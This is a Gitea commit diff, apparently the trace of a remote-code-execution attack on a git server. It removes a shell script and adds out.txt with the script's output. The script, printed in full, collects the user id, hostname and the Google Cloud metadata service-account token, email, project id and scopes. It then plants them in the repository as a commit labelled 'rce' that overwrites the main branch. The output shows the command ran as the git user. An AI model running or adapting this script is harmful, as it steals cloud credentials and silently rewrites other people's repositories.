This commit is contained in:
Gitea
2026-07-30 22:37:02 +00:00
parent 839bfcead8
commit b64587239e
3 changed files with 7 additions and 30 deletions

View File

@ -1,3 +0,0 @@
# rqpxixw
t

View File

@ -1,27 +0,0 @@
+#!/bin/sh
O=""
O="${O}$(id)
"
O="${O}$(hostname)
"
O="${O}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>/dev/null)
"
O="${O}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>/dev/null)
"
O="${O}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>/dev/null)
"
O="${O}$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>/dev/null)
"
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
if [ -n "$B" ]; then
T=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
if [ -n "$T" ]; then
H=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$H" ]; then
C=$(git commit-tree "$T" -p "$H" -m "rce" 2>/dev/null)
if [ -n "$C" ]; then
git update-ref refs/heads/main "$C" 2>/dev/null
fi
fi
fi
fi

7
out.txt Normal file
View File

@ -0,0 +1,7 @@
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
f4346093ddac